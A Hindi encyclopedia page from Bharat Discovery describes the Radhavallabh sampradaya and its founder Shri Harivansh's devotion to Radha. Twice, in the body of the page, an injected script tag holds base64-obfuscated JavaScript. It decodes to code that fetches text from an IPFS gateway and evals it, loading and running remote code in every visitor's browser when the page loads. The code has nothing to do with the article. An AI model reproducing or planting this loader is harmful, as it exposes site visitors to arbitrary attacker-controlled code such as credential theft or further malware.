राधावल्लभ सम्प्रदाय

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
  • श्री हरिवंश (जन्म संवत 1559 विक्रमी) 'राधावल्लभ सम्प्रदाय' के संस्थापक थे। उनकी भक्ति स्वयं कृष्ण के प्रति न होकर (गौण रूप को छोड़कर) उनकी कल्पित अर्द्धांगनी राधा के प्रति समर्पित हो गई, जिसे उन्होंने 'श्रृंगार की देवी' के रूप में प्रतिष्ठित किया।
  • श्री हरिवंश गुसांई अपनी भक्ति की रीति तत्काल जान सकते हैं जिनके अनुसार श्री राधा के चरण आराधना के सर्वोच्च आस्पद हैं। वे सुदृढ़ उपासक भक्त हैं। जो कुंज केलिक्रीड़ा में रत दम्पति की खवासी करते हैं। मन्दिर के भोग प्राप्त करने में जो गर्व और प्रसिद्धि के अधिकारी है। जो एकमेव ऐसे चाकर हैं, जो कदापि विधि निषेध नहीं करते, एक अप्रतिम उत्कंठित व्रतधारी हैं।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>